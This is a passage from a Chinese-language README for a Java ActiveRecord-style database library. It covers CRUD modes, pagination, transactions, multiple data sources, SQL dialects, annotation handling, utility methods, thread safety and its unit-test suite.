Object[]{\"李四\", 28});\n```\n\n#### 查询\n\n```java\n// 查询列表 → List<Map<String, Object>>\nList<Map<String, Object>> list = Db.queryList(\"SELECT * FROM user_info\");\nList<Map<String, Object>> list = Db.queryList(\"SELECT * FROM user_info WHERE age > ?\", 20);\n\n// 查询单条 → Map<String, Object>\nMap<String, Object> map = Db.queryForMap(\"SELECT * FROM user_info WHERE id = ?\", 1);\n\n// 查询标量值\nint count    = Db.queryForInt(\"SELECT count(*) FROM user_info\");\nlong total   = Db.queryForLong(\"SELECT count(*) FROM user_info\");\nString name  = Db.queryForString(\"SELECT user_name FROM user_info WHERE id = ?\", 1);\nDate created = Db.queryForDate(\"SELECT create_time FROM user_info WHERE id = ?\", 1);\n\n// 查询第一个值（泛型）\nObject first = Db.queryFirst(\"SELECT count(*) FROM user_info\");\n\n// 简便计数\nint count = Db.count(\"SELECT count(*) FROM user_info WHERE age > ?\", 20);\n```\n\n#### 批量操作\n\n```java\nList<Object[]> batchParams = new ArrayList<>();\nbatchParams.add(new Object[]{\"用户A\", 20, \"a@test.com\"});\nbatchParams.add(new Object[]{\"用户B\", 21, \"b@test.com\"});\nbatchParams.add(new Object[]{\"用户C\", 22, \"c@test.com\"});\n\nDb.batchExecute(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\", batchParams);\n```\n\n---\n\n### 4.2 Record 模式\n\n通过 `Record` 对象进行 CRUD，无需定义实体类。`Record` 本质是一个 `Map<String, Object>` 的封装。\n\n#### 创建与操作 Record\n\n```java\n// 链式创建\nRecord record = new Record()\n    .set(\"user_name\", \"张三\")\n    .set(\"age\", 25)\n    .set(\"email\", \"zhangsan@test.com\");\n\n// 读取值（类型安全的 getter）\nString name   = record.getStr(\"user_name\");     // → \"张三\"\nInteger age   = record.getInt(\"age\");            // → 25\nLong id       = record.getLong(\"id\");            // → null\nDouble score  = record.getDouble(\"score\");       // → null\nBoolean flag  = record.getBoolean(\"active\");\nBigDecimal bd = record.getBigDecimal(\"amount\");\nbyte[] data   = record.getBytes(\"avatar\");\n\n// 带默认值\nObject val = record.get(\"missing\", \"默认值\");    // → \"默认值\"\n\n// 获取所有列名/值\nString[] names   = record.getColumnNames();\nObject[] values  = record.getColumnValues();\nMap<String, Object> cols = record.getColumns();\n\n// 删除列\nrecord.remove(\"email\");\nrecord.remove(\"a\", \"b\", \"c\");  // 批量删除\nrecord.removeNullValueColumns(); // 删除值为 null 的列\nrecord.clear();                  // 清空所有列\n```\n\n#### CRUD 操作\n\n```java\n// ===== 保存 =====\nRecord record = new Record().set(\"user_name\", \"张三\").set(\"age\", 25);\nDb.save(\"user_info\", record);                    // 自动检测主键\nDb.save(\"user_info\", \"id\", record);              // 手动指定主键\n\n// ===== 查询 =====\nRecord user = Db.findById(\"user_info\", 1);                           // 自动主键\nRecord user = Db.findById(\"user_info\", \"id\", 1);                     // 指定主键\nRecord user = Db.findByIds(\"user_info\", \"id\", 1);                    // 复合主键\nList<Record> all = Db.findAll(\"user_info\");                           // 查询全部\nList<Record> list = Db.find(\"SELECT * FROM user_info WHERE age > ?\", 20);\nRecord first = Db.findFirst(\"SELECT * FROM user_info ORDER BY id LIMIT 1\");\n\n// 按列值查询\nList<Record> users = Db.findByColumnValueRecords(\"user_info\", \"user_name\", \"张三\");\n\n// ===== 更新 =====\nRecord user = Db.findById(\"user_info\", \"id\", 1);\nuser.set(\"AGE\", 30);  // 注意：数据库返回的列名可能是大写\nDb.update(\"user_info\", \"id\", user);\n\n// ===== 删除 =====\nDb.deleteById(\"user_info\", 1);                   // 自动主键\nDb.deleteById(\"user_info\", \"id\", 1);             // 指定主键\nDb.delete(\"user_info\", \"id\", record);            // 通过 Record 删除\n```\n\n> **注意**：H2 等数据库返回**大写**列名（如 `USER_NAME`），更新时需确保使用正确的列名大小写，否则会产生重复列。框架在匹配主键值时支持大小写不敏感匹配。\n\n#### Record 与 Model 互转\n\n```java\n// Record → Model\nRecord record = Db.findById(\"user_info\", \"id\", 1);\nUserModel user = record.toModel(UserModel.class);\n\n// Model → Record\nRecord record = user.toRecord();\n```\n\n---\n\n### 4.3 Bean 模式\n\n直接操作 Java 实体对象，支持 JPA 和 MyBatis-Plus 注解。\n\n#### 定义实体\n\n```java\n// 方式一：JPA 注解\n@javax.persistence.Table(name = \"user_info\")\npublic class UserInfo {\n    @javax.persistence.Id\n    private Long id;\n    private String userName;      // → 自动映射为 user_name\n    @javax.persistence.Column(name = \"email_address\")\n    private String email;         // → 映射为 email_address\n    @javax.persistence.Transient\n    private String tempField;     // → 忽略此字段\n    // getter/setter ...\n}\n\n// 方式二：MyBatis-Plus 注解\n@com.baomidou.mybatisplus.annotation.TableName(\"user_info\")\npublic class UserInfo {\n    @com.baomidou.mybatisplus.annotation.TableField(\"user_name\")\n    private String userName;\n    @com.baomidou.mybatisplus.annotation.TableField(exist = false)\n    private String ignoredField;  // → 忽略此字段\n    // getter/setter ...\n}\n\n// 方式三：无注解（类名自动转下划线作为表名）\npublic class UserInfo { ... }  // → 表名 user_info\n```\n\n#### CRUD 操作\n\n```java\n// ===== 保存 =====\nUserInfo user = new UserInfo();\nuser.setId(1L);\nuser.setUserName(\"张三\");\nuser.setAge(25);\nDb.saveBean(user);\n\n// ===== 更新 =====\nuser.setAge(30);\nDb.updateBean(user);\n\n// ===== 删除 =====\nDb.deleteBean(user);\n\n// ===== 查询 =====\nUserInfo user = Db.findBeanById(UserInfo.class, 1);\nList<UserInfo> list = Db.findBeanList(UserInfo.class, \"SELECT * FROM user_info\");\nList<UserInfo> list = Db.findBeanList(UserInfo.class,\n    \"SELECT * FROM user_info WHERE age > ?\", 20);\n\n// ===== 分页 =====\nPage<UserInfo> page = Db.findBeanPages(UserInfo.class, 1, 10);\nPage<UserInfo> page = Db.findBeanPages(UserInfo.class, 1, 10,\n    \"SELECT * FROM user_info WHERE age > 20 ORDER BY id\");\n```\n\n---\n\n### 4.4 Model 模式（ActiveRecord）\n\n实体类继承 `Model<M>` 获得 CRUD 能力，无需编写 DAO/Mapper 层。\n\n#### 定义 Model\n\n```java\n@Table(name = \"user_info\")\npublic class User extends Model<User> {\n    // 静态 dao 对象，作为查询入口\n    public static final User dao = new User().dao();\n}\n\n// 无 @Table 注解时，类名自动转下划线：OrderItem → order_item\npublic class OrderItem extends Model<OrderItem> {\n    public static final OrderItem dao = new OrderItem().dao();\n}\n\n// 使用 @Id 指定非默认主键\n@Table(name = \"sys_config\")\npublic class SysConfig extends Model<SysConfig> {\n    @Id\n    private String configKey;  // → 主键为 config_key\n    public static final SysConfig dao = new SysConfig().dao();\n}\n```\n\n#### 主键解析优先级\n\n1. 字段上的 `@javax.persistence.Id` 注解\n2. 数据库元数据中注册的主键（`TABLE_PK_MAP`）\n3. 默认值 `\"id\"`\n\n#### 表名解析优先级\n\n1. `@javax.persistence.Table(name = \"...\")` 注解\n2. `@com.baomidou.mybatisplus.annotation.TableName(\"...\")` 注解\n3. 类名驼峰转下划线（`UserInfo` → `user_info`）\n\n#### CRUD 操作\n\n```java\n// ===== 保存 =====\nnew User().set(\"user_name\", \"张三\").set(\"age\", 25).set(\"email\", \"test@test.com\").save();\n\n// ===== 查询 =====\nUser user = User.dao.findById(1);\nUser user = User.dao.findFirst(\"SELECT * FROM user_info WHERE name = ?\", \"张三\");\nList<User> users = User.dao.find(\"SELECT * FROM user_info WHERE age > ?\", 20);\nList<User> users = User.dao.find(\"SELECT * FROM user_info\");\nList<User> all = User.dao.findAll();\n\n// ===== 更新 =====\nUser user = User.dao.findById(1);\nuser.set(\"USER_NAME\", \"新名字\").update();\n\n// ===== 删除 =====\nUser user = User.dao.findById(1);\nuser.delete();                    // 通过对象删除\nUser.dao.deleteById(1);           // 通过主键删除\nUser.dao.deleteByIds(1, 2, 3);   // 批量删除（复合主键）\n```\n\n#### 属性操作\n\n```java\nUser user = new User()\n    .set(\"name\", \"张三\")\n    .set(\"age\", 25);\n\n// 类型安全读取\nString name     = user.getStr(\"name\");\nInteger age     = user.getInt(\"age\");\nLong id         = user.getLong(\"id\");\nDouble score    = user.getDouble(\"score\");\nFloat rate      = user.getFloat(\"rate\");\nBoolean active  = user.getBoolean(\"active\");\nBigDecimal amt  = user.getBigDecimal(\"amount\");\nBigInteger bi   = user.getBigInteger(\"big_num\");\nDate date       = user.getDate(\"create_time\");\nTimestamp ts    = user.getTimestamp(\"update_time\");\nbyte[] avatar   = user.getBytes(\"avatar\");\nNumber num      = user.getNumber(\"count\");\n\n// 带默认值\nObject val = user.get(\"missing\", \"默认值\");\n\n// 批量设置\nMap<String, Object> map = new HashMap<>();\nmap.put(\"name\", \"李四\");\nmap.put(\"age\", 30);\nuser.put(map);\n\n// 获取全部属性\nMap<String, Object> attrs = user.getAttrs();\nString[] names = user.getAttrNames();\nObject[] values = user.getAttrValues();\n\n// 移除属性\nuser.remove(\"temp_field\");\nuser.remove(\"a\", \"b\", \"c\");\nuser.clear();\n```\n\n#### equals / hashCode / toString\n\n```java\nUser u1 = new User().set(\"id\", 1L).set(\"name\", \"test\");\nUser u2 = new User().set(\"id\", 1L).set(\"name\", \"test\");\n\nu1.equals(u2);    // → true（比较 attrs Map 和 usefulClass）\nu1.hashCode();     // → 基于 attrs 和 usefulClass 的哈希\nu1.toString();     // → \"User{id:1, name:test}\"\n```\n\n---\n\n## 5. 分页查询\n\n所有分页方法返回 `Page<T>` 对象。\n\n### Page 对象结构\n\n| 字段 | 类型 | 含义 |\n|------|------|------|\n| `list` | `List<T>` | 当前页数据 |\n| `pageNumber` | `int` | 当前页码（从 1 开始） |\n| `pageSize` | `int` | 每页大小 |\n| `totalPage` | `int` | 总页数 |\n| `totalRow` | `int` | 总记录数 |\n\n### Record 分页\n\n```java\n// 方式一：select + sqlExceptSelect 分离（自动生成 count SQL）\nPage<Record> page = Db.paginate(1, 10, \"SELECT *\", \"FROM user_info WHERE age > ?\", 20);\n\n// 方式二：完整 SQL 分页（手动指定 count SQL）\nPage<Record> page = Db.paginateByFullSql(1, 10,\n    \"SELECT count(*) FROM user_info WHERE age > ?\",\n    \"SELECT * FROM user_info WHERE age > ? ORDER BY id\",\n    20);\n\n// 方式三：含 GROUP BY 的分页\nPage<Record> page = Db.paginate(1, 10, true,\n    \"SELECT age, count(*)\", \"FROM user_info GROUP BY age\");\n```\n\n### Bean 分页\n\n```java\n// 自动生成查询 SQL\nPage<UserInfo> page = Db.findBeanPages(UserInfo.class, 1, 10);\n\n// 指定查询 SQL\nPage<UserInfo> page = Db.findBeanPages(UserInfo.class, 1, 10,\n    \"SELECT * FROM user_info WHERE age > 20 ORDER BY id\");\n```\n\n### Map 分页\n\n```java\nPage<Map<String, Object>> page = Db.queryMapPages(\n    \"SELECT * FROM user_info ORDER BY id\", 1, 10, null);\n```\n\n### Model 分页\n\n```java\nPage<User> page = User.dao.paginate(1, 10, \"SELECT *\", \"FROM user_info ORDER BY id\");\nPage<User> page = User.dao.paginate(1, 10, \"SELECT *\",\n    \"FROM user_info WHERE age > ?\", 20);\nPage<User> page = User.dao.paginateByFullSql(1, 5,\n    \"SELECT count(*) FROM user_info\",\n    \"SELECT * FROM user_info ORDER BY id\");\n```\n\n### 边界行为\n\n| 场景 | 行为 |\n|------|------|\n| `pageNumber < 1` 或 `pageSize < 1` | 抛出 `DbException` |\n| 表为空（totalRow=0） | 返回空 Page（list 为空列表） |\n| pageNumber 超过 totalPage | 返回空 Page（list 为空列表，保留 totalRow/totalPage） |\n\n---\n\n## 6. 事务支持\n\n### 6.1 IAtom 事务（推荐）\n\n```java\n// 返回 true → 提交；返回 false → 回滚\nboolean success = Db.tx(() -> {\n    Db.execute(\"INSERT INTO user_info(user_name, age) VALUES('用户A', 20)\");\n    Db.execute(\"INSERT INTO user_info(user_name, age) VALUES('用户B', 21)\");\n    return true;  // 提交\n});\n\n// 回滚示例\nboolean success = Db.tx(() -> {\n    Db.execute(\"INSERT INTO user_info(user_name, age) VALUES('用户A', 20)\");\n    return false;  // 回滚，上面的插入不会生效\n});\n\n// 异常自动回滚\nDb.tx(() -> {\n    Db.execute(\"INSERT INTO user_info(user_name, age) VALUES('用户A', 20)\");\n    throw new SQLException(\"模拟异常\");  // 自动回滚\n});\n```\n\n### 6.2 BatchSql 事务\n\n```java\nBatchSql batchSql = new BatchSql();\nbatchSql.addBatch(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n    new Object[]{\"批量1\", 20});\nbatchSql.addBatch(\"INSERT INTO user_info(user_name, age) VALUES(?, ?)\",\n    new Object[]{\"批量2\", 21});\nbatchSql.addBatch(\"DELETE FROM temp_table\");  // 无参数\n\nint result = Db.doInTransaction(batchSql);  // 返回 1 成功，异常时抛出 DbException 并回滚\n```\n\n### 6.3 Model 事务\n\n```java\nUser.dao.tx(() -> {\n    new User().set(\"user_name\", \"事务1\").set(\"age\", 20).save();\n    new User().set(\"user_name\", \"事务2\").set(\"age\", 21).save();\n    return true;\n});\n```\n\n### 事务行为总结\n\n| 场景 | 行为 |\n|------|------|\n| `IAtom.run()` 返回 `true` | 提交事务 |\n| `IAtom.run()` 返回 `false` | 回滚事务，`tx()` 返回 `false` |\n| `IAtom.run()` 抛出异常 | 回滚事务，异常向上传播 |\n| `BatchSql` 中任一条 SQL 失败 | 整体回滚，抛出 `DbException` |\n| `doInTransaction(null)` | 直接返回 `0`，不做任何操作 |\n\n---\n\n## 7. 多数据源\n\n### 初始化多个数据源\n\n```java\n// 主数据源\nDb.init(mainDataSource);\n\n// 从库\nDb.init(\"slave\", slaveDataSource);\n\n// 通过连接参数\nDb.init(\"analytics\", \"jdbc:mysql://analytics-db:3306/data\", \"user\", \"pass\");\n```\n\n### Db 方式切换数据源\n\n```java\nDbPro slaveDb = Db.use(\"slave\");\nList<Map<String, Object>> data = slaveDb.queryList(\"SELECT * FROM user_info\");\nslaveDb.execute(\"INSERT INTO log(msg) VALUES(?)\", new Object[]{\"操作日志\"});\n```\n\n### Model 方式切换数据源\n\n```java\n// use() 返回新实例，线程安全\nUser user = User.dao.use(\"slave\").findById(1);\nList<User> users = User.dao.use(\"slave\").find(\"SELECT * FROM user_info\");\n\n// 在从库上保存\nnew User().use(\"slave\").set(\"user_name\", \"从库用户\").set(\"age\", 30).save();\n```\n\n### 获取底层对象\n\n```java\nDbPro dbPro = Db.use();            // 主数据源\nDbPro dbPro = Db.use(\"slave\");     // 指定数据源\n\nDataSource ds = dbPro.getDataSource();\nJdbcTemplate jt = dbPro.getJdbcTemplate();\nDialect dialect = dbPro.getDialectInstance();\n```\n\n### 异常情况\n\n| 场景 | 行为 |\n|------|------|\n| 未初始化时调用 `Db.use()` | 抛出 `RuntimeException: The main dataSource is not initialized` |\n| 空 configName | 抛出 `RuntimeException: configName不能为空` |\n| 不存在的 configName | 抛出 `RuntimeException: DbPro not found with configName: xxx` |\n\n---\n\n## 8. 数据库方言\n\n框架通过 `Dialect` 策略模式支持多种数据库，初始化时**自动检测**。\n\n### 自动检测规则\n\n| 数据库产品名（不区分大小写） | 使用的方言类 |\n|------|------|\n| 包含 `oracle` | `OracleDialect` |\n| 包含 `mysql` 或 `mariadb` | `MysqlDialect` |\n| 包含 `sqlite` | `Sqlite3Dialect` |\n| 包含 `postgre` | `PostgreSqlDialect` |\n| 包含 `h2` | `MysqlDialect`（兼容模式） |\n| 其他 | `MysqlDialect`（默认） |\n\n### 方言差异\n\n| 特性 | MySQL | Oracle | PostgreSQL | SQLite |\n|------|-------|--------|-----------|--------|\n| 标识符引号 | `` ` `` | 无 | `\"` | 无 |\n| 分页语法 | `LIMIT offset, size` | `ROWNUM` 嵌套 | `LIMIT size OFFSET offset` | `LIMIT offset, size` |\n| 日期处理 | 默认 | `fillStatementHandleDateType` | `fillStatementHandleDateType` | `fillStatementHandleDateType` |\n| 序列支持 | 否 | `forDbSave` 中支持 `.nextval` | 否 | 否 |\n| 默认主键名 | `id` | `ID` | `id` | `id` |\n\n---\n\n## 9. 注解支持\n\n### 表名注解\n\n| 注解 | 来源 | 优先级 |\n|------|------|--------|\n| `@javax.persistence.Table(name = \"t_user\")` | JPA | 最高 |\n| `@TableName(\"t_user\")` | MyBatis-Plus | 次之 |\n| 无注解 | 类名驼峰转下划线 | 最低 |\n\n### 列名注解\n\n| 注解 | 来源 | 行为 |\n|------|------|------|\n| `@javax.persistence.Column(name = \"email_addr\")` | JPA | 使用指定列名 |\n| `@TableField(\"email_addr\")` | MyBatis-Plus | 使用指定列名 |\n| `@TableField(exist = false)` | MyBatis-Plus | 忽略该字段 |\n| `@javax.persistence.Transient` | JPA | 忽略该字段 |\n| `transient` 修饰符 | Java | 忽略该字段 |\n| 无注解 | 字段名驼峰转下划线 | 默认行为 |\n\n### 主键注解\n\n| 注解 | 来源 | 行为 |\n|------|------|------|\n| `@javax.persistence.Id` | JPA | 标记为主键字段 |\n\n**Model 主键解析优先级**：`@Id` 注解 > 数据库元数据 > 默认 `\"id\"`\n\n---\n\n## 10. 工具类 RecordUtil\n\n`io.github.wujun728.db.utils.RecordUtil` 提供全量的转换与工具方法。\n\n### 字段名转换\n\n```java\nRecordUtil.toUnderlineCase(\"userName\");    // → \"user_name\"\nRecordUtil.toUnderlineCase(\"createTime\");  // → \"create_time\"\nRecordUtil.toUnderlineCase(\"HTMLParser\");  // → \"HTML_parser\"\n\nRecordUtil.toCamelCase(\"user_name\");       // → \"userName\"\nRecordUtil.toCamelCase(\"create_time\");     // → \"createTime\"\n```\n\n### Record ↔ Map 转换\n\n```java\n// Map → Record\nRecord record = RecordUtil.mapToRecord(map);\nList<Record> records = RecordUtil.mapToRecords(mapList);\n\n// Record → Map\nMap<String, Object> map = RecordUtil.recordToMap(record);\nList<Map<String, Object>> maps = RecordUtil.recordToMaps(recordList);\n\n// Record分页 → Map分页\nPage<Map<String, Object>> mapPage = RecordUtil.pageRecordToPageMap(recordPage);\n```\n\n### Record ↔ Bean 转换\n\n```java\n// Record → Bean\nUserInfo user = RecordUtil.recordToBean(record, UserInfo.class);\nList<UserInfo> users = RecordUtil.recordToBeans(recordList, UserInfo.class);\n\n// Bean → Record（字段名根据注解解析为数据库列名）\nRecord record = RecordUtil.beanToRecord(bean);\nList<Record> records = RecordUtil.beanToRecords(beanList);\n```\n\n### Map ↔ Bean 转换\n\n```java\n// Map → Bean（通过 FastJSON2 序列化）\nUserInfo user = RecordUtil.mapToBean(map, UserInfo.class);\nList<UserInfo> users = RecordUtil.mapToBeans(mapList, UserInfo.class);\n\n// Bean → Map（字段名转驼峰作为key）\nMap<String, Object> map = RecordUtil.beanToMap(bean);\nList<Map<String, Object>> maps = RecordUtil.beanToMaps(beanList);\n```\n\n### 表名/列名解析\n\n```java\n// 获取实体对应的表名\nString tableName = RecordUtil.getTableName(UserInfo.class);    // → \"user_info\"\nString tableName = RecordUtil.getTableName(new UserInfo());    // → \"user_info\"\n\n// 获取字段对应的列名\nField field = UserInfo.class.getDeclaredField(\"email\");\nString colName = RecordUtil.getColumnName(field);              // → \"email_address\" 或 null（跳过）\n```\n\n### 反射元数据（带缓存）\n\n```java\n// 获取类的字段元数据（首次反射，之后缓存命中）\nList<RecordUtil.FieldMeta> metas = RecordUtil.getFieldMetas(UserInfo.class);\nfor (RecordUtil.FieldMeta meta : metas) {\n    Field field = meta.field;           // 字段引用\n    String columnName = meta.columnName; // 数据库列名，null 表示应跳过\n}\n\n// 获取所有字段（遍历完整继承链）\nList<Field> fields = RecordUtil.allFields(UserInfo.class);\n```\n\n### SQL 调试格式化\n\n```java\nString sql = RecordUtil.formatSql(\n    \"SELECT * FROM user WHERE name = ? AND age = ?\",\n    new Object[]{\"张三\", 25});\n// → \"SELECT * FROM user WHERE name = '张三' AND age = '25'\"\n```\n\n### null 安全\n\n所有转换方法对 `null` 和空集合输入都安全处理：\n\n| 输入 | 返回值 |\n|------|--------|\n| `mapToRecord(null)` | 空 Record |\n| `mapToRecords(null)` / `mapToRecords(空列表)` | 空 List |\n| `recordToMap(null)` | 空 Map |\n| `mapToBean(null, ...)` / `mapToBean(空Map, ...)` | `null` |\n| `recordToBean(null, ...)` | `null` |\n| `beanToRecords(null)` / `beanToMaps(null)` | 空 List |\n| `pageRecordToPageMap(null)` | `null` |\n\n---\n\n## 11. 核心类 API 速查表\n\n### Db（静态门面）\n\n| 方法 | 返回类型 | 说明 |\n|------|----------|------|\n| `init(DataSource)` | `void` | 初始化主数据源 |\n| `init(name, DataSource)` | `void` | 初始化命名数据源 |\n| `use()` | `DbPro` | 获取主数据源引擎 |\n| `use(name)` | `DbPro` | 获取命名数据源引擎 |\n| `execute(sql)` | `int` | 执行 DDL/DML |\n| `execute(sql, params)` | `int` | 带参数执行 |\n| `update(sql, params...)` | `int` | 更新操作 |\n| `insert(sql, params)` | `long` | 插入并返回主键 |\n| `batchExecute(sql, paramsList)` | `int` | 批量执行 |\n| `queryList(sql, params...)` | `List<Map>` | 查询列表 |\n| `queryForMap(sql, params...)` | `Map` | 查询单条 |\n| `queryForInt/Long/String/Date(sql, params...)` | 标量值 | 查询标量 |\n| `queryFirst(sql, params...)` | `<T>` | 查询第一个值 |\n| `count(sql, params...)` | `int` | 计数查询 |\n| `find(sql, params...)` | `List<Record>` | Record 列表查询 |\n| `findAll(tableName)` | `List<Record>` | 查询全部 Record |\n| `findFirst(sql, params...)` | `Record` | 查询首条 Record |\n| `findById(table, id)` | `Record` | 按主键查 Record |\n| `save(table, record)` | `boolean` | 保存 Record |\n| `update(table, pk, record)` | `boolean` | 更新 Record |\n| `delete(table, pk, record)` | `boolean` | 删除 Record |\n| `deleteById(table, id)` | `boolean` | 按主键删除 |\n| `paginate(page, size, select, sql, params...)` | `Page<Record>` | Record 分页 |\n| `paginateByFullSql(...)` | `Page<Record>` | 完整 SQL 分页 |\n| `saveBean(bean)` | `boolean` | 保存 Bean |\n| `updateBean(bean)` | `boolean` | 更新 Bean |\n| `deleteBean(bean)` | `boolean` | 删除 Bean |\n| `findBeanList(clazz, sql, params...)` | `List<T>` | Bean 列表查询 |\n| `findBeanById(clazz, id)` | `<T>` | 按主键查 Bean |\n| `findBeanPages(clazz, page, rows)` | `Page<T>` | Bean 分页 |\n| `queryMapPages(sql, page, limit, params)` | `Page<Map>` | Map 分页 |\n| `tx(IAtom)` | `boolean` | 事务执行 |\n| `doInTransaction(BatchSql)` | `int` | 批量事务 |\n\n### Record\n\n| 方法 | 说明 |\n|------|------|\n| `set(column, value)` | 设置列值（链式） |\n| `get(column)` / `get(column, default)` | 获取值 |\n| `getStr/Int/Long/Double/Float/Boolean/...` | 类型安全 getter |\n| `getColumns()` | 获取底层 Map |\n| `getColumnNames()` / `getColumnValues()` | 获取列名/值数组 |\n| `put(map)` / `put(key, value)` | 批量/单个设置 |\n| `setColumns(map)` / `setColumns(record)` | 从 Map/Record 合并 |\n| `remove(column)` / `remove(columns...)` | 移除列 |\n| `removeNullValueColumns()` | 移除 null 值列 |\n| `clear()` | 清空所有列 |\n| `toModel(modelClass)` | 转为 Model 实例 |\n\n### Model\\<M\\>\n\n| 方法 | 说明 |\n|------|------|\n| `dao()` | 创建查询入口 |\n| `use(configName)` | 切换数据源（返回新实例） |\n| `set/get/getStr/getInt/...` | 属性操作（同 Record） |\n| `put(map)` / `remove(attr)` / `clear()` | 批量操作 |\n| `save()` | 保存 |\n| `update()` | 更新 |\n| `delete()` | 删除（当前对象） |\n| `deleteById(id)` / `deleteByIds(ids...)` | 按主键删除 |\n| `findById(id)` / `findByIds(ids...)` | 按主键查询 |\n| `findAll()` | 查询全部 |\n| `find(sql, params...)` | SQL 查询 |\n| `findFirst(sql, params...)` | 查询首条 |\n| `paginate(page, size, select, sql, params...)` | 分页查询 |\n| `paginateByFullSql(...)` | 完整 SQL 分页 |\n| `toRecord()` | 转为 Record |\n| `tx(IAtom)` | 事务执行 |\n| `equals/hashCode/toString` | 对象方法 |\n\n### BatchSql\n\n| 方法 | 说明 |\n|------|------|\n| `addBatch(sql)` | 添加无参 SQL |\n| `addBatch(sql, Object[])` | 添加带参 SQL |\n| `addBatch(sql, List<?>)` | 添加带参 SQL（List 形式） |\n| `getSqlList()` | 获取所有 SQL 列表 |\n| `clearBatch()` | 清空 |\n\n---\n\n## 12. 线程安全与并发\n\n### 线程安全保证\n\n| 组件 | 线程安全机制 |\n|------|-------------|\n| `DbPro.init()` | `synchronized` 双重检查锁定 |\n| `DbPro.cache` | `ConcurrentHashMap`（static final） |\n| `TABLE_PK_MAP` | `ConcurrentHashMap` |\n| `Db.MAIN` | `volatile` 保证可见性 |\n| `getPkNames()` 延迟初始化 | `synchronized` 保护 |\n| `RecordUtil.FIELD_META_CACHE` | `ConcurrentHashMap` + `computeIfAbsent` |\n| `Model` 缓存字段 | `volatile`（usefulClassCache/tableNameCache/primaryKeyCache） |\n| `JdbcTemplate` | Spring 框架保证线程安全 |\n| `TransactionTemplate` | Spring 框架保证线程安全 |\n\n### 并发使用建议\n\n```java\n// ✅ 正确：多线程共享 Db 静态方法\nExecutorService executor = Executors.newFixedThreadPool(10);\nfor (int i = 0; i < 100; i++) {\n    executor.submit(() -> Db.execute(\"INSERT INTO log(msg) VALUES(?)\", new Object[]{\"log\"}));\n}\n\n// ✅ 正确：Model.dao 是无状态的，可安全共享\nExecutorService executor = Executors.newFixedThreadPool(10);\nfor (int i = 0; i < 100; i++) {\n    executor.submit(() -> User.dao.findById(1));\n}\n\n// ✅ 正确：Model.use() 返回新实例，线程安全\nexecutor.submit(() -> User.dao.use(\"slave\").findAll());\n\n// ⚠️ 注意：Record 和 Model 实例本身不是线程安全的，不要多线程共享同一个实例\nRecord record = new Record().set(\"name\", \"test\");\n// 不要在多个线程中同时读写这个 record\n```\n\n---\n\n## 13. 单元测试覆盖\n\n共 **204 个测试用例**，使用 H2 内存数据库运行，覆盖全部核心功能。\n\n### 测试类概览\n\n| 测试类 | 测试数 | 覆盖范围 |\n|--------|--------|---------|\n| `DbActiveRecordTest` | 74 | SQL 模式、Record 模式、Bean 模式、事务、分页、RecordUtil 工具、多数据源、方言检测 |\n| `ModelTest` | 33 | Model CRUD、链式操作、@Table/@Id 注解解析、Record 互转、多数据源、事务、equals/hashCode/toString |\n| `ConcurrencyAndEdgeCaseTest` | 97 | 并发初始化、并发 CRUD、多数据源并发、4 种方言 SQL 生成、Record 类型转换边界、null/空参数边界、分页边界、事务异常回滚 |\n\n### 运行测试\n\n```bash\ncd jun-db-activerecord\nmvn clean test\n```\n\n### 测试分类详细列表\n\n#### SQL 模式测试\n\n| 测试方法 | 验证内容 |\n|----------|---------|\n| `testExecute` | 无参数 SQL 执行 |\n| `testExecuteWithParams` | 带参数 SQL 执行 |\n| `testUpdate` | UPDATE 语句 |\n| `testInsertReturnKey` | INSERT 返回自增主键 |\n| `testBatchExecute` | 批量 INSERT |\n| `testQueryList` / `testQueryListWithParams` | 列表查询 |\n| `testQueryForMap` | 单条查询 |\n| `testQueryForInt` / `testQueryForLong` / `testQueryForString` | 标量查询 |\n| `testQueryFirst` | 第一个值查询 |\n| `testCount` | 计数查询 |\n\n#### Record 模式测试\n\n| 测试方法 | 验证内容 |\n|----------|---------|\n| `testRecordSave` / `testRecordSaveWithPrimaryKey` | 保存 |\n| `testRecordFindById` / `testRecordFindByIds` | 主键查询 |\n| `testRecordFind` / `testRecordFindAll` / `testRecordFindFirst` | 列表/全部/首条查询 |\n| `testRecordUpdate` | 更新 |\n| `testRecordDelete` / `testRecordDeleteById` | 删除 |\n| `testFindByColumnValueRecords` | 按列值查询 |\n| `testRecordSetAndGet` / `testRecordFluentApi` | Record 属性操作 |\n| `testRecordRemove` / `testRecordRemoveNullValueColumns` | 列删除 |\n| `testRecordGetColumnNames` / `testRecordGetColumnValues` | 列名/值数组 |\n\n#### Bean 模式测试\n\n| 测试方法 | 验证内容 |\n|----------|---------|\n| `testSaveBean` | Bean 保存 |\n| `testUpdateBean` | Bean 更新 |\n| `testDeleteBean` | Bean 删除 |\n| `testFindBeanList` / `testFindBeanListWithParams` | Bean 查询 |\n| `testFindBeanPages` | Bean 分页 |\n\n#### Model 模式测试\n\n| 测试方法 | 验证内容 |\n|----------|---------|\n| `testChainSetAndGet` / `testGetWithDefault` / `testPutMap` | 属性操作 |\n| `testRemoveAndClear` / `testGetAttrNamesAndValues` | 属性管理 |\n| `testSave` / `testSaveAndFindById` | 保存 + 查询 |\n| `testUpdate` / `testDelete` / `testDeleteById` | 更新/删除 |\n| `testFind` / `testFindFirst` / `testFindAll` | 查询 |\n| `testTableAnnotation` / `testClassNameAsTableName` | 表名解析 |\n| `testIdAnnotation` / `testIdAnnotationUpdate` / `testIdAnnotationDelete` | 主键注解 |\n| `testUseMultiDatasource` | 多数据源 |\n| `testTxCommit` / `testTxRollback` | 事务 |\n| `testToString` / `testEquals` / `testHashCode` | 对象方法 |\n| `testToRecord` / `testRecordToModel` | 互转 |\n\n#### 分页测试\n\n| 测试方法 | 验证内容 |\n|----------|---------|\n| `testPaginate` / `testPaginateSecondPage` / `testPaginateLastPage` | 基础分页 |\n| `testPaginateWithParams` / `testPaginateByFullSql` | 带参数/完整 SQL |\n| `testPaginateEmptyTable` | 空表分页 |\n| `testPaginateInvalidPageNumber` / `testPaginateInvalidPageSize` | 非法参数 |\n| `testPaginatePageExceedsTotal` | 页码超限 |\n| `testQueryMapPages` | Map 分页 |\n\n#### 并发安全测试\n\n| 测试方法 | 验证内容 |\n|----------|---------|\n| `testConcurrentDbProInit` | 20 线程同时初始化同名数据源 → 只产生 1 个实例 |\n| `testConcurrentForceInit` | 10 线程强制重新初始化 |\n| `testConcurrentInsert` | 50 线程并发 INSERT |\n| `testConcurrentRecordSaveAndFind` | 30 线程并发 Record 保存 |\n| `testConcurrentReadWrite` | 30 线程混合读写 |\n| 